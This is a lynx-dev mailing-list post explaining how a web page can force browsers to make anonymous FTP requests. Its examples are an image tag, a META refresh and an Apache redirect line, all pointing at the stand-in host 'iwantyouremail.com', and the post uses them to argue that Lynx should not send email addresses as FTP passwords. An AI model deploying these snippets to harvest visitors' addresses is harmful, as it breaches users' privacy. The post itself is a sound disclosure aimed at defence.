There seems to be a fundamental misapprehension floating around in this thread that the only FTPs are obvious ones. If you think that your browser uses FTP *only* when you explicitly give it an FTP URL, think again.
Here are three scenarios in which directing a browser to an HTTP URL also initiates an anonymous FTP transfer, possibly to a completely unknown FTP host. The first is aimed at graphical browsers, all of which are susceptible; Lynx is immune. The second catches most browsers other than Lynx, although it may work for Lynx if the human pilot is napping. The third works, AFAIK, for *all* browsers. It definitely works for Mozilla, MS-IE, *and Lynx*. If you're using a graphical browser you almost certainly won't be aware of the first. Whether you notice the second or third depends on the details of implementation, your alertness, and which browser you're using. Even if you notice, it will only be after the fact. 1. Images with FTP URLs. You're looking at 'http://some-server/' with your graphical browser. What you don't know is that the nifty graphic in the middle of the page, or the webbug in the upper corner that you can't even see, was loaded from 'IMG SRC="ftp://iwantyouremail.com/gotcha.gif";' and your browser has already it retrieved via anonymous FTP. Some time ago, when most browsers stopped sending HTTP-From, it was recognized that this scenario afforded a continuing means of e-address harvesting. As a consequence, most browsers eventually stopped submitting valid e-addresses as passwords for anonymous FTP, either by default or, at least, by configuration. For a discussion of this, see <http://glennf.com/spam/ftpgrab.html>. 2. Client-side redirects. You visit 'http://some-server/'. The index.html there contains the META directive 'HTTP-EQUIV="Refresh" CONTENT="0; ftp://iwantyouremail.com/index.html";'. If you're using a browser other than Lynx, you were almost certainly redirected in the blink of an eye and it is the latter index.html, retrieved via FTP, that is rendered on your screen. If you're using Lynx, which does not automatically follow client-side redirects, you saw "REFRESH(0 sec): ftp://iwantyouremail.com/index.html";. Did your notice the URL, or did you automatically follow the link? 3. Server-side redirects. This is similar to (2), but more basic. I tried this yesterday with Mozilla 0.9.8, MS-IE 5.5 SP2, and Lynx 2.8.3rel.1 & 2.8.4rel.1. All four instantly followed a server-side redirect from an HTTP URL to an FTP URL. You visit 'http://some-server/', which returns either a "301 Moved Permanently" or "302 Moved Temporarily" status message, followed by "Location: ftp://iwantyouremail.com/index.html";. It is this file, automatically and immediately retrieved via FTP, that is rendered on your screen by the above browsers (and probably all others). How an HTTP server is configured to do this depends on the server. For Apache, it is implemented simply with a line like this added to the '.htaccess' file in the "home" dir (i.e., the one Apache considers to be "DocumentRoot") of some-server: redirect /index.html ftp://iwantyouremail.com/index.html I wasn't able to leave my own test example in place. Perhaps someone else on lynx-dev could set this up for others to try, creating a server-side redirect from an HTTP URL to a benign FTP URL. (I redirected to ftp://ftp.gnu.org/gnu/Manuals/index.html, but the GNU FTP host is often busy, particularly on weekdays, so this probably wouldn't be a good choice.) All of the above are real. All have been seen, at some point, "in the wild". But they're not very common. Why? Basically, because Lynx is one of the few sheep left to fleece. It's not really worth the trouble. Look, as far as this issue of e-addresses is concerned, the essential distinction between FTP and HTTP is time. FTP dates back to the days when the Net was relatively small and fairly collegial. Even just ten years ago, few thought twice about giving a valid e-address as the password for anonymous FTP. When HTTP came along, it too offered client identification using HTTP-From. Early browsers, including Lynx, routinely sent HTTP-From. But the Net was rapidly changing and it wasn't long before some questioned whether this was a good idea. Lynx added a '-nofrom' command-line option to suppress HTTP-From. Sooner of later, others did likewise. Today, "NO_FROM_HEADER:TRUE" is Lynx's default and other browsers also suppress it. And most other browsers, recognizing that there is little to distinguish it from HTTP in this regard, also no longer offer up valid e-addresses for FTP. Any website that so wished could require clients to enable HTTP-From before delivering content. I've never encountered one that put it in quite this way, but there are plenty of sites that require a registration including an e-address. Like rare FTP hosts, they might also attempt to verify that the e-address looks valid before surrendering content. There are also sites with more elaborate schemes involving e-mailed time-limited HTTP or FTP URLs pointing to their goodies. (Of course, many of the e-addresses collected in this manner will be throw-away ones at Yahoo, Hotmail, etc.) My point here is simply further argument that there is little to distinguish FTP from HTTP. There isn't anything sacramental about FTP. Like HTTP, it is a protocol for transferring data via TCP/IP. As regards the divulging of users' data, Lynx should treat it the same way it treats HTTP. That is, don't. -- David Mosher <[EMAIL PROTECTED]> ; To UNSUBSCRIBE: Send "unsubscribe lynx-dev" to [EMAIL PROTECTED]
![ftp://iwantyouremail.com/gotcha.gif"](ftp://iwantyouremail.com/gotcha.gif"){kind=link}